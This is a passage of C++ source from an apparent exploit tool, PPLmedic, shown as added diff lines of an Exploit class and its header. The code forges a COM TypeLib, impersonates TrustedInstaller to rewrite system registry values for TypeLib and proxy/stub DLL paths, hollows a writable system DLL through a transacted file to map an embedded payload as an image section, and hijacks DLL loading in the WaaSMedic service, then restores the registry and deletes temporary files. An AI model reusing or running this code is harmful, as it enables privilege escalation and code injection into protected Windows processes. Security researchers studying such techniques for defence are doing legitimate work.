     558 + ICreateTypeLib2* TypeLibNew = NULL;
     559 + ICreateTypeInfo* TypeInfoNew = NULL;
     560 + ICreateTypeInfo* TypeInfoNew2 = NULL;
     561 + ELEMDESC ldoParams[2];
     562 + ELEMDESC lroParams[3];
     563 + 
     564 + DEBUG(L"TypeLib file: %ws", this->GetTypeLibPath());
     565 +
     566 + EXIT_ON_ERROR(FAILED(hr = LoadTypeLib(STR_WAASMEDIC_TYPELIB, &TypeLibOrig))); // Load the original TypeLib
     567 + EXIT_ON_ERROR(FAILED(hr = TypeLibOrig->GetLibAttr(&pTLibAttrOrig))); // Get attributes of the original TypeLib
     568 + EXIT_ON_ERROR(FAILED(hr = CreateTypeLib2(pTLibAttrOrig->syskind, this->GetTypeLibPath(), &TypeLibNew))); // Create a new TypeLib
     569 + 
     570 + TypeLibNew->SetGuid(pTLibAttrOrig->guid);
     571 + TypeLibNew->SetLcid(pTLibAttrOrig->lcid);
     572 + TypeLibNew->SetVersion(pTLibAttrOrig->wMajorVerNum, pTLibAttrOrig->wMinorVerNum);
     573 + 
     574 + //
     575 + // BEGIN: Write the IWaaSRemediationEx interface
     576 + //
     577 + 
     578 + EXIT_ON_ERROR(FAILED(hr = TypeLibOrig->GetTypeInfoOfGuid(IID_WAASREMEDIATIONEX, &TypeInfoOrig))); // Get info about IWaaSRemediationEx interface
     579 + EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetTypeAttr(&pTypeAttrOrig))); // Get interface content
     580 + EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetDocumentation(MEMBERID_NIL, &TypeLibName, NULL, NULL, NULL))); // Get TypeLib name
     581 + EXIT_ON_ERROR(FAILED(hr = TypeLibNew->CreateTypeInfo(TypeLibName, TKIND_INTERFACE, &TypeInfoNew))); // Type: "dispatch" to "interface"
     582 + 
     583 + TypeInfoNew->SetTypeFlags(TYPEFLAG_FHIDDEN | TYPEFLAG_FDUAL | TYPEFLAG_FNONEXTENSIBLE | TYPEFLAG_FOLEAUTOMATION);
     584 + TypeInfoNew->SetGuid(pTypeAttrOrig->guid);
     585 + TypeInfoNew->SetVersion(pTypeAttrOrig->wMajorVerNum, pTypeAttrOrig->wMinorVerNum);
     586 + 
     587 + // Add references to implemented interfaces
     588 + for (i = 0; i < pTypeAttrOrig->cImplTypes; i++)
     589 + {
     590 + if (FAILED(hr = TypeInfoOrig->GetRefTypeOfImplType(i, &hRefType)))
     591 + continue;
     592 + 
     593 + if (FAILED(hr = TypeInfoOrig->GetRefTypeInfo(hRefType, &TypeInfoRef)))
     594 + continue;
     595 + 
     596 + TypeInfoNew->AddRefTypeInfo(TypeInfoRef, &hRefType);
     597 + TypeInfoNew->AddImplType(i, hRefType);
     598 + 
     599 + Utils::SafeRelease((IUnknown**)&TypeInfoRef);
     600 + }
     601 + 
     602 + //
     603 + // Get the description of each function, modify them and add them to the new TypeLib.
     604 + // See https://thrysoee.dk/InsideCOM+/ch09b.htm
     605 + //
     606 + 
     607 + for (i = 0; i < pTypeAttrOrig->cFuncs; i++)
     608 + {
     609 + if (FAILED(hr = TypeInfoOrig->GetFuncDesc(i, &pFuncDescOrig)))
     610 + continue;
     611 + 
     612 + if (pFuncDescOrig->memid != 0x60020000 && pFuncDescOrig->memid != 0x60020001)
     613 + {
     614 + TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig);
     615 + continue;
     616 + }
     617 + 
     618 + if (FAILED(hr = TypeInfoOrig->GetNames(pFuncDescOrig->memid, Names, sizeof(Names) / sizeof(*Names), &cNames)))
     619 + {
     620 + TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig);
     621 + continue;
     622 + }
     623 + 
     624 + if (pFuncDescOrig->memid == 0x60020000)
     625 + {
     626 + // LaunchDetectionOnly
     627 + 
     628 + ldoParams[0].tdesc.vt = VT_BSTR;
     629 + ldoParams[0].paramdesc.wParamFlags = PARAMFLAG_FIN;
     630 + ldoParams[1].tdesc.vt = VT_UI8;
     631 + ldoParams[1].paramdesc.wParamFlags = PARAMFLAG_FIN;
     632 + 
     633 + pFuncDescOrig->lprgelemdescParam = ldoParams;
     634 + }
     635 + else if (pFuncDescOrig->memid == 0x60020001)
     636 + {
     637 + // LaunchRemediationOnly
     638 + 
     639 + lroParams[0].tdesc.vt = VT_BSTR;
     640 + lroParams[0].paramdesc.wParamFlags = PARAMFLAG_FIN;
     641 + lroParams[1].tdesc.vt = VT_BSTR;
     642 + lroParams[1].paramdesc.wParamFlags = PARAMFLAG_FIN;
     643 + lroParams[2].tdesc.vt = VT_UI8;
     644 + lroParams[2].paramdesc.wParamFlags = PARAMFLAG_FIN;
     645 + 
     646 + pFuncDescOrig->lprgelemdescParam = lroParams;
     647 + }
     648 + 
     649 + pFuncDescOrig->cParams += 1;
     650 + Names[pFuncDescOrig->cParams] = SysAllocString(L"unknown");
     651 + cNames += 1;
     652 + 
     653 + pFuncDescOrig->funckind = FUNC_PUREVIRTUAL; // Change function type from "dispatch" to "pure virtual"
     654 + pFuncDescOrig->elemdescFunc.tdesc.vt = VT_HRESULT; // Set return type to HRESULT
     655 + hr = TypeInfoNew->AddFuncDesc(0, pFuncDescOrig); // Add function description to the interface
     656 + hr = TypeInfoNew->SetFuncAndParamNames(0, Names, cNames); // Set function and parameter names
     657 + 
     658 + for (j = 0; j < cNames; j++)
     659 + {
     660 + SysFreeString(Names[j]); // Free the strings returned by "GetNames"
     661 + }
     662 + 
     663 + TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig);
     664 + }
     665 + 
     666 + //
     667 + // END: Write the IWaaSRemediationEx interface
     668 + //
     669 + 
     670 + if (pTypeAttrOrig)
     671 + TypeInfoOrig->ReleaseTypeAttr(pTypeAttrOrig);
     672 + Utils::SafeRelease((IUnknown**)&TypeInfoOrig);
     673 + 
     674 + //
     675 + // BEGIN: Write the ITaskHandler interface
     676 + //
     677 + 
     678 + EXIT_ON_ERROR(FAILED(hr = TypeLibOrig->GetTypeInfoOfGuid(IID_TASKHANDLER, &TypeInfoOrig))); // Get info about ITaskHandler interface
     679 + EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetTypeAttr(&pTypeAttrOrig))); // Get interface content
     680 + EXIT_ON_ERROR(FAILED(hr = TypeInfoOrig->GetDocumentation(MEMBERID_NIL, &TypeLibName, NULL, NULL, NULL))); // Get TypeLib name
     681 + EXIT_ON_ERROR(FAILED(hr = TypeLibNew->CreateTypeInfo(TypeLibName, TKIND_INTERFACE, &TypeInfoNew2))); // Type: "dispatch" to "interface"
     682 + 
     683 + TypeInfoNew2->SetTypeFlags(TYPEFLAG_FHIDDEN | TYPEFLAG_FNONEXTENSIBLE | TYPEFLAG_FOLEAUTOMATION);
     684 + TypeInfoNew2->SetGuid(pTypeAttrOrig->guid);
     685 + TypeInfoNew2->SetVersion(pTypeAttrOrig->wMajorVerNum, pTypeAttrOrig->wMinorVerNum);
     686 + 
     687 + // Add references to implemented interfaces
     688 + for (i = 0; i < pTypeAttrOrig->cImplTypes; i++)
     689 + {
     690 + if (FAILED(hr = TypeInfoOrig->GetRefTypeOfImplType(i, &hRefType)))
     691 + continue;
     692 + 
     693 + if (FAILED(hr = TypeInfoOrig->GetRefTypeInfo(hRefType, &TypeInfoRef)))
     694 + continue;
     695 + 
     696 + TypeInfoNew2->AddRefTypeInfo(TypeInfoRef, &hRefType);
     697 + TypeInfoNew2->AddImplType(i, hRefType);
     698 + 
     699 + Utils::SafeRelease((IUnknown**)&TypeInfoRef);
     700 + }
     701 + 
     702 + for (i = 0; i < pTypeAttrOrig->cFuncs; i++)
     703 + {
     704 + if (FAILED(hr = TypeInfoOrig->GetFuncDesc(i, &pFuncDescOrig)))
     705 + continue;
     706 + 
     707 + if (FAILED(hr = TypeInfoOrig->GetNames(pFuncDescOrig->memid, Names, sizeof(Names) / sizeof(*Names), &cNames)))
     708 + {
     709 + TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig);
     710 + continue;
     711 + }
     712 + 
     713 + hr = TypeInfoNew2->AddFuncDesc(0, pFuncDescOrig); // Add function description to the interface
     714 + hr = TypeInfoNew2->SetFuncAndParamNames(0, Names, cNames); // Set function and parameter names
     715 + 
     716 + for (j = 0; j < cNames; j++)
     717 + {
     718 + SysFreeString(Names[j]); // Free the strings returned by "GetNames"
     719 + }
     720 + 
     721 + TypeInfoOrig->ReleaseFuncDesc(pFuncDescOrig);
     722 + }
     723 + 
     724 + //
     725 + // END: Write the ITaskHandler interface
     726 + //
     727 + 
     728 + if (SUCCEEDED(hr = TypeLibNew->SaveAllChanges()))
     729 + {
     730 + this->_StateTypeLibCreated = TRUE;
     731 + bResult = TRUE;
     732 + }
     733 + 
     734 +cleanup:
     735 + Utils::SafeRelease((IUnknown**)&TypeInfoRef);
     736 + Utils::SafeRelease((IUnknown**)&TypeLibRef);
     737 + Utils::SafeRelease((IUnknown**)&TypeInfoNew);
     738 + if (TypeLibName) SysFreeString(TypeLibName);
     739 + if (pTypeAttrOrig) TypeInfoOrig->ReleaseTypeAttr(pTypeAttrOrig);
     740 + Utils::SafeRelease((IUnknown**)&TypeInfoOrig);
     741 + Utils::SafeRelease((IUnknown**)&TypeLibNew);
     742 + if (pTLibAttrOrig) TypeLibOrig->ReleaseTLibAttr(pTLibAttrOrig);
     743 + Utils::SafeRelease((IUnknown**)&TypeLibOrig);
     744 + 
     745 + DEBUG(L"TypeLib: %ws | HRESULT: 0x%08x | Result: %d", this->GetTypeLibPath(), bResult, hr);
     746 + 
     747 + if (!bResult)
     748 + ERROR(L"Failed to write TypeLib to file: %ws", this->GetTypeLibPath());
     749 + 
     750 + return bResult;
     751 +}
     752 + 
     753 +BOOL Exploit::DeleteTypeLib()
     754 +{
     755 + BOOL bResult = FALSE;
     756 + 
     757 + if (this->_StateTypeLibCreated)
     758 + {
     759 + EXIT_ON_ERROR(!DeleteFileW(this->_TypeLibPath));
     760 + this->_StateTypeLibCreated = FALSE;
     761 + }
     762 + 
     763 + bResult = TRUE;
     764 + 
     765 +cleanup:
     766 + DEBUG(L"Result: %d", bResult);
     767 + 
     768 + if (!bResult)
     769 + ERROR(L"Failed to delete custom TypeLib file: %ws", this->_TypeLibPath);
     770 + 
     771 + return bResult;
     772 +}
     773 + 
     774 +BOOL Exploit::FindTypeLibRegistryValuePath()
     775 +{
     776 + BOOL bResult = FALSE;
     777 + LPWSTR pwszRegPath = NULL, pwszTypeLibGuid = NULL;
     778 + RPC_WSTR InterfaceGuidStr = NULL;
     779 + UUID InterfaceGuid;
     780 + 
     781 + //
     782 + // HKLM\SOFTWARE\Classes\Interface\{B4C1D279-966E-44E9-A9C5-CCAF4A77023D}\TypeLib
     783 + // (Default) -> {3ff1aab8-f3d8-11d4-825d-00104b3646c0}
     784 + // HKLM\SOFTWARE\Classes\TypeLib\{3ff1aab8-f3d8-11d4-825d-00104b3646c0}\1.0\0\Win64
     785 + // (Default) -> %SystemRoot%\system32\WaaSMedicPS.dll
     786 + //
     787 + 
     788 + InterfaceGuid = IID_WAASREMEDIATIONEX;
     789 + 
     790 + EXIT_ON_ERROR(!(pwszRegPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     791 + EXIT_ON_ERROR(UuidToStringW(&InterfaceGuid, &InterfaceGuidStr) != RPC_S_OK);
     792 + 
     793 + swprintf_s(pwszRegPath, MAX_PATH, L"SOFTWARE\\Classes\\Interface\\{%ws}\\TypeLib", (LPWSTR)InterfaceGuidStr);
     794 + 
     795 + EXIT_ON_ERROR(!Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, pwszRegPath, NULL, &pwszTypeLibGuid));
     796 + 
     797 + swprintf_s(this->_TypeLibRegValuePath, MAX_PATH, L"SOFTWARE\\Classes\\TypeLib\\%ws\\1.0\\0\\Win64", pwszTypeLibGuid);
     798 + 
     799 + bResult = TRUE;
     800 + 
     801 +cleanup:
     802 + if (InterfaceGuidStr) RpcStringFreeW(&InterfaceGuidStr);
     803 + Utils::SafeFree((PVOID*)&pwszTypeLibGuid);
     804 + Utils::SafeFree((PVOID*)&pwszRegPath);
     805 + 
     806 + DEBUG(L"Path: %ws | Result: %d", this->_TypeLibRegValuePath, bResult);
     807 + 
     808 + return bResult;
     809 +}
     810 + 
     811 +BOOL Exploit::ModifyTypeLibRegistryValue()
     812 +{
     813 + BOOL bResult = FALSE;
     814 + BOOL bImpersonated = FALSE;
     815 + 
     816 + EXIT_ON_ERROR(!this->GetTypeLibOrigPath()); // Make sure we retrieve the original path before modifying it
     817 + EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller());
     818 + 
     819 + bImpersonated = TRUE;
     820 + 
     821 + EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, this->GetTypeLibPath()));
     822 + 
     823 + this->_StateRegTypeLibModified = TRUE;
     824 + bResult = TRUE;
     825 + 
     826 +cleanup:
     827 + if (bImpersonated) this->RevertToSelf();
     828 + 
     829 + DEBUG(L"Result: %d", bResult);
     830 + 
     831 + if (!bResult)
     832 + ERROR(L"Failed to modify registry key: %ws", this->GetTypeLibRegValuePath());
     833 + 
     834 + return bResult;
     835 +}
     836 + 
     837 +BOOL Exploit::RestoreTypeLibRegistryValue()
     838 +{
     839 + BOOL bResult = FALSE;
     840 + BOOL bImpersonated = FALSE;
     841 + 
     842 + if (this->_StateRegTypeLibModified)
     843 + {
     844 + EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller());
     845 + bImpersonated = TRUE;
     846 + EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetTypeLibRegValuePath(), NULL, this->GetTypeLibOrigPath()));
     847 + 
     848 + this->_StateRegTypeLibModified = FALSE;
     849 + }
     850 +
     851 + bResult = TRUE;
     852 + 
     853 +cleanup:
     854 + if (bImpersonated) this->RevertToSelf();
     855 + 
     856 + DEBUG(L"Result: %d", bResult);
     857 + 
     858 + if (!bResult)
     859 + ERROR(L"Failed to restore TypeLib path in registry: %ws", this->GetTypeLibRegValuePath());
     860 + 
     861 + return bResult;
     862 +}
     863 + 
     864 +BOOL Exploit::FindWaaSMedicCapsulePath()
     865 +{
     866 + //
     867 + // Path on Windows 10: c:\windows\System32\WaaSMedicCapsule.dll
     868 + // Path on Windows 11: c:\windows\UUS\amd64\WaaSMedicCapsule.dll
     869 + //
     870 + 
     871 + BOOL bResult = FALSE;
     872 + LPWSTR pwszModulePath = NULL;
     873 + 
     874 + EXIT_ON_ERROR(!(pwszModulePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     875 + EXIT_ON_ERROR(!GetSystemDirectoryW(pwszModulePath, MAX_PATH));
     876 + swprintf_s(pwszModulePath, MAX_PATH, L"%ws\\%ws", pwszModulePath, STR_WAASMEDIC_CAPSULE);
     877 + 
     878 + if ((GetFileAttributesW(pwszModulePath) == INVALID_FILE_ATTRIBUTES) && (GetLastError() == ERROR_FILE_NOT_FOUND))
     879 + {
     880 + EXIT_ON_ERROR(!GetWindowsDirectoryW(pwszModulePath, MAX_PATH));
     881 + swprintf_s(pwszModulePath, MAX_PATH, L"%ws\\UUS\\amd64\\%ws", pwszModulePath, STR_WAASMEDIC_CAPSULE);
     882 + 
     883 + if ((GetFileAttributesW(pwszModulePath) == INVALID_FILE_ATTRIBUTES) && (GetLastError() == ERROR_FILE_NOT_FOUND))
     884 + {
     885 + ERROR(L"Failed to determine file path for file: %ws", STR_WAASMEDIC_CAPSULE);
     886 + goto cleanup;
     887 + }
     888 + }
     889 + 
     890 + swprintf_s(this->_WaaSMedicCapsulePath, MAX_PATH, L"%ws", pwszModulePath);
     891 + bResult = TRUE;
     892 + 
     893 +cleanup:
     894 + Utils::SafeFree((PVOID*)&pwszModulePath);
     895 + 
     896 + return bResult;
     897 +}
     898 + 
     899 +BOOL Exploit::FindProxyStubRegistryValuePath()
     900 +{
     901 + BOOL bResult = FALSE;
     902 + LPWSTR pwszRegPath = NULL, pwszProxyStubClsid = NULL;
     903 + RPC_WSTR InterfaceGuidStr = NULL;
     904 + UUID InterfaceGuid;
     905 + 
     906 + //
     907 + // HKLM\SOFTWARE\Classes\Interface\{839D7762-5121-4009-9234-4F0D19394F04}\ProxyStubClsid32
     908 + // (Default) -> {9C86F320-DEE3-4DD1-B972-A303F26B061E}
     909 + // HKLM\SOFTWARE\Classes\CLSID\{9C86F320-DEE3-4DD1-B972-A303F26B061E}\InprocServer32
     910 + // (Default) -> C:\Windows\System32\TaskSchdPS.dll
     911 + //
     912 + 
     913 + InterfaceGuid = IID_TASKHANDLER;
     914 + 
     915 + EXIT_ON_ERROR(!(pwszRegPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     916 + EXIT_ON_ERROR(UuidToStringW(&InterfaceGuid, &InterfaceGuidStr) != RPC_S_OK);
     917 + 
     918 + swprintf_s(pwszRegPath, MAX_PATH, L"SOFTWARE\\Classes\\Interface\\{%ws}\\ProxyStubClsid32", (LPWSTR)InterfaceGuidStr);
     919 + 
     920 + EXIT_ON_ERROR(!Utils::GetRegistryStringValue(HKEY_LOCAL_MACHINE, pwszRegPath, NULL, &pwszProxyStubClsid));
     921 + 
     922 + swprintf_s(this->_ProxyStubRegValuePath, MAX_PATH, L"SOFTWARE\\Classes\\CLSID\\%ws\\InprocServer32", pwszProxyStubClsid);
     923 + 
     924 + bResult = TRUE;
     925 + 
     926 +cleanup:
     927 + if (InterfaceGuidStr) RpcStringFreeW(&InterfaceGuidStr);
     928 + Utils::SafeFree((PVOID*)&pwszProxyStubClsid);
     929 + Utils::SafeFree((PVOID*)&pwszRegPath);
     930 + 
     931 + DEBUG(L"Path: %ws | Result: %d", this->_ProxyStubRegValuePath, bResult);
     932 + 
     933 + return bResult;
     934 +}
     935 + 
     936 +BOOL Exploit::ModifyProxyStubRegistryValue()
     937 +{
     938 + BOOL bResult = FALSE;
     939 + BOOL bImpersonated = FALSE;
     940 + 
     941 + EXIT_ON_ERROR(!this->GetProxyStubOrigPath()); // Make sure we retrieve the original path before modifying it
     942 + EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller());
     943 + 
     944 + bImpersonated = TRUE;
     945 + 
     946 + EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, this->GetHijackedDllName()));
     947 + 
     948 + this->_StateRegProxyStubModified = TRUE;
     949 + bResult = TRUE;
     950 + 
     951 +cleanup:
     952 + if (bImpersonated) this->RevertToSelf();
     953 + 
     954 + DEBUG(L"Result: %d", bResult);
     955 + 
     956 + if (!bResult)
     957 + ERROR(L"Failed to write Proxy/Stub DLL to registry: %ws", this->GetProxyStubRegValuePath());
     958 + 
     959 + return bResult;
     960 +}
     961 + 
     962 +BOOL Exploit::RestoreProxyStubRegistryValue()
     963 +{
     964 + BOOL bResult = FALSE;
     965 + BOOL bImpersonated = FALSE;
     966 + 
     967 + if (this->_StateRegProxyStubModified)
     968 + {
     969 + EXIT_ON_ERROR(!this->ImpersonateTrustedInstaller());
     970 + bImpersonated = TRUE;
     971 + EXIT_ON_ERROR(!Utils::SetRegistryStringValue(HKEY_LOCAL_MACHINE, this->GetProxyStubRegValuePath(), NULL, this->GetProxyStubOrigPath()));
     972 + 
     973 + this->_StateRegProxyStubModified = FALSE;
     974 + }
     975 + 
     976 + bResult = TRUE;
     977 + 
     978 +cleanup:
     979 + if (bImpersonated) this->RevertToSelf();
     980 + 
     981 + DEBUG(L"Result: %d", bResult);
     982 + 
     983 + if (!bResult)
     984 + ERROR(L"Failed to restore Proxy/Stub DLL path in registry: %ws", this->GetProxyStubRegValuePath());
     985 + 
     986 + return bResult;
     987 +}
     988 + 
     989 +BOOL Exploit::MapPayloadDll()
     990 +{
     991 + BOOL bResult = FALSE;
     992 + HANDLE hTransaction = NULL, hFileTransacted = NULL;
     993 + LPVOID pDllData;
     994 + DWORD dwDllSize = 0, dwBytesWritten = 0;
     995 + UNICODE_STRING SectionName;
     996 + OBJECT_ATTRIBUTES oa;
     997 + NTSTATUS status = ERROR_SUCCESS;
     998 + 
     999 + EXIT_ON_ERROR(!Utils::GetEmbeddedResource(IDR_RCDATA1, &pDllData, &dwDllSize));
     1000 + EXIT_ON_ERROR(!Utils::FindWritableSystemDll(dwDllSize, &this->_HollowedDllPath));
     1001 + 
     1002 + ZeroMemory(&oa, sizeof(oa));
     1003 + oa.Length = sizeof(oa);
     1004 + 
     1005 + EXIT_ON_ERROR(!NT_SUCCESS(status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL)));
     1006 + EXIT_ON_ERROR((hFileTransacted = CreateFileTransactedW(this->_HollowedDllPath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL)) == INVALID_HANDLE_VALUE);
     1007 + EXIT_ON_ERROR(!WriteFile(hFileTransacted, pDllData, dwDllSize, &dwBytesWritten, NULL));
     1008 +
     1009 + RtlInitUnicodeString(&SectionName, this->GetHijackedDllSectionPath());
     1010 + InitializeObjectAttributes(&oa, &SectionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
     1011 + 
     1012 + EXIT_ON_ERROR(!NT_SUCCESS(NtCreateSection(&this->_DllSectionHandle, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hFileTransacted)));
     1013 + 
     1014 + bResult = TRUE;
     1015 + 
     1016 +cleanup:
     1017 + Utils::SafeCloseHandle(&hTransaction);
     1018 + Utils::SafeCloseHandle(&hFileTransacted);
     1019 + Utils::SetLastErrorFromNtStatus(status);
     1020 + 
     1021 + DEBUG(L"Section: %ws (handle: 0x%04x) | Result: %d", this->GetHijackedDllSectionPath(), HandleToULong(this->_DllSectionHandle), bResult);
     1022 + 
     1023 + if (!bResult)
     1024 + ERROR(L"Failed to create section: %ws", this->GetHijackedDllSectionPath());
     1025 + 
     1026 + return bResult;
     1027 +}
     1028 + 
     1029 +BOOL Exploit::UnmapPayloadDll()
     1030 +{
     1031 + BOOL bResult = FALSE;
     1032 + 
     1033 + Utils::SafeCloseHandle(&this->_DllSectionHandle);
     1034 + bResult = this->_DllSectionHandle == NULL;
     1035 + 
     1036 + DEBUG(L"Result: %d", bResult);
     1037 + 
     1038 + return bResult;
     1039 +}
     1040 + 
     1041 +BOOL Exploit::CreateDummyDllFile()
     1042 +{
     1043 + BOOL bResult = FALSE;
     1044 + LPWSTR pwszFilePath = NULL;
     1045 + HANDLE hFile = NULL;
     1046 +
     1047 + EXIT_ON_ERROR(!(pwszFilePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     1048 + EXIT_ON_ERROR(!GetWindowsDirectoryW(pwszFilePath, MAX_PATH));
     1049 + EXIT_ON_ERROR(wcslen(pwszFilePath) < 2);
     1050 + 
     1051 + pwszFilePath[2] = L'\0';
     1052 + swprintf_s(pwszFilePath, MAX_PATH, L"%ws\\%ws", pwszFilePath, this->GetHijackedDllName());
     1053 + 
     1054 + //
     1055 + // Be careful here, the loader will try to open the file with Read+Delete share mode. So, we must
     1056 + // not request write access to the file, otherwise the call (on the target service side) will fail
     1057 + // with an ERROR_SHARING_VIOLATION error.
     1058 + //
     1059 + EXIT_ON_ERROR((hFile = CreateFileW(pwszFilePath, GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE);
     1060 + 
     1061 + this->_DummyDllFileHandle = hFile;
     1062 + bResult = TRUE;
     1063 + 
     1064 +cleanup:
     1065 + if (!bResult) {
     1066 + ERROR(L"Failed to create dummy file: %ws", pwszFilePath);
     1067 + Utils::SafeCloseHandle(&hFile);
     1068 + }
     1069 + 
     1070 + Utils::SafeFree((PVOID*)&pwszFilePath);
     1071 + 
     1072 + return bResult;
     1073 +}
     1074 + 
     1075 +BOOL Exploit::IsProxyStubDllLoaded()
     1076 +{
     1077 + return WaitForSingleObject(this->_ProxyStubDllLoadEventHandle, 0) == WAIT_OBJECT_0;
     1078 +}
     1079 + 
     1080 +BOOL Exploit::EnumerateTemporaryDirectories(std::vector<LPWSTR>* List)
     1081 +{
     1082 + BOOL bResult = FALSE;
     1083 + WIN32_FIND_DATAW FindData;
     1084 + LPWSTR pwszSearchPattern = NULL, pwszCandidatePath;
     1085 + HANDLE hFind = NULL;
     1086 + 
     1087 + // Make sure the result list is empty before populating it
     1088 + List->clear();
     1089 + 
     1090 + EXIT_ON_ERROR(!Utils::GetWindowsTempDirectory(&pwszSearchPattern));
     1091 + 
     1092 + swprintf_s(pwszSearchPattern, MAX_PATH, L"%ws\\%ws", pwszSearchPattern, L"_????????-????-????-????-????????????");
     1093 + 
     1094 + if ((hFind = FindFirstFileW(pwszSearchPattern, &FindData)) == INVALID_HANDLE_VALUE)
     1095 + {
     1096 + if (GetLastError() == ERROR_FILE_NOT_FOUND)
     1097 + bResult = TRUE;
     1098 + 
     1099 + goto cleanup;
     1100 + }
     1101 + 
     1102 + do
     1103 + {
     1104 + if (pwszCandidatePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)))
     1105 + {
     1106 + swprintf_s(pwszCandidatePath, MAX_PATH, L"%ws", FindData.cFileName);
     1107 + List->push_back(pwszCandidatePath);
     1108 + }
     1109 +
     1110 + } while (FindNextFileW(hFind, &FindData));
     1111 + 
     1112 + bResult = TRUE;
     1113 + 
     1114 +cleanup:
     1115 + if (!bResult)
     1116 + ERROR(L"Failed to enumerate temp directory: %ws", pwszSearchPattern);
     1117 + 
     1118 + if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind);
     1119 + Utils::SafeFree((PVOID*)&pwszSearchPattern);
     1120 + 
     1121 + return bResult;
     1122 +}
     1123 + 
     1124 +BOOL Exploit::DeleteTemporaryDirectories()
     1125 +{
     1126 + BOOL bResult = TRUE, bExisted = FALSE;
     1127 + LPWSTR pwszDirectoryPath = NULL, pwszWindowsTempPath = NULL;;
     1128 + std::vector<LPWSTR> vDirectoriesToDelete;
     1129 + 
     1130 + EXIT_ON_ERROR(!Utils::GetWindowsTempDirectory(&pwszWindowsTempPath));
     1131 + EXIT_ON_ERROR(!(pwszDirectoryPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     1132 + 
     1133 + for (LPWSTR pwszPathAfter : _TemporaryDiretoriesAfter)
     1134 + {
     1135 + bExisted = FALSE;
     1136 + 
     1137 + for (LPWSTR pwszPathBefore : _TemporaryDiretoriesBefore)
     1138 + {
     1139 + if (!wcscmp(pwszPathAfter, pwszPathBefore))
     1140 + {
     1141 + bExisted = TRUE;
     1142 + break;
     1143 + }
     1144 + }
     1145 + 
     1146 + if (!bExisted)
     1147 + vDirectoriesToDelete.push_back(pwszPathAfter);
     1148 + }
     1149 + 
     1150 + if (vDirectoriesToDelete.size() > 0)
     1151 + {
     1152 + INFO(L"Deleting %d temporary directories created by the service...", (DWORD)vDirectoriesToDelete.size());
     1153 + 
     1154 + for (LPWSTR pwszEntry : vDirectoriesToDelete)
     1155 + {
     1156 + swprintf_s(pwszDirectoryPath, MAX_PATH, L"%ws\\%ws", pwszWindowsTempPath, pwszEntry);
     1157 + 
     1158 + if (!Utils::DeleteDirectory(pwszDirectoryPath))
     1159 + {
     1160 + bResult = FALSE;
     1161 + }
     1162 + }
     1163 + }
     1164 + 
     1165 +cleanup:
     1166 + Utils::SafeFree((PVOID*)&pwszWindowsTempPath);
     1167 + Utils::SafeFree((PVOID*)&pwszDirectoryPath);
     1168 + 
     1169 + return bResult;
     1170 +}
     1171 + 
  • ■ ■ ■ ■ ■ ■
    PPLmedic/Exploit.h
     1 +#pragma once
     2 + 
     3 +#include <Windows.h>
     4 +#include <tlhelp32.h>
     5 +#include <vector>
     6 + 
     7 +class Exploit
     8 +{
     9 +private:
     10 + ULONG _BaseNamedObjectsHandle;
     11 + ULONG_PTR _KnownDllDirectoryHandleAddr;
     12 + DWORD _WaaSMedicSvcPid;
     13 + LPWSTR _WaaSMedicCapsulePath;
     14 + HANDLE _WaaSMedicCapsuleHandle;
     15 + HANDLE _TiToken;
     16 + HANDLE _DllSectionHandle;
     17 + HANDLE _DummyDllFileHandle;
     18 + HANDLE _ProxyStubDllLoadEventHandle;
     19 + LPWSTR _TypeLibPath;
     20 + LPWSTR _TypeLibOrigPath;
     21 + LPWSTR _TypeLibRegValuePath;
     22 + LPWSTR _ProxyStubOrigPath;
     23 + LPWSTR _ProxyStubRegValuePath;
     24 + LPWSTR _ProxyStubDllLoadEventName;
     25 + LPWSTR _HollowedDllPath;
     26 + LPWSTR _HijackedDllName;
     27 + LPWSTR _HijackedDllSectionPath;
     28 + BOOL _StatePluginDllLocked;
     29 + BOOL _StateRegTypeLibModified;
     30 + BOOL _StateTypeLibCreated;
     31 + BOOL _StateRegProxyStubModified;
     32 + std::vector<LPWSTR> _TemporaryDiretoriesBefore;
     33 + std::vector<LPWSTR> _TemporaryDiretoriesAfter;
     34 +
     35 +public:
     36 + Exploit();
     37 + ~Exploit();
     38 + BOOL Run();
     39 + BOOL Restore();
     40 + HANDLE GetTiToken();
     41 +
     42 +private:
     43 + // Getters
     44 + DWORD GetWaaSMedicSvcPid();
     45 + LPWSTR GetTypeLibPath();
     46 + LPWSTR GetTypeLibRegValuePath();
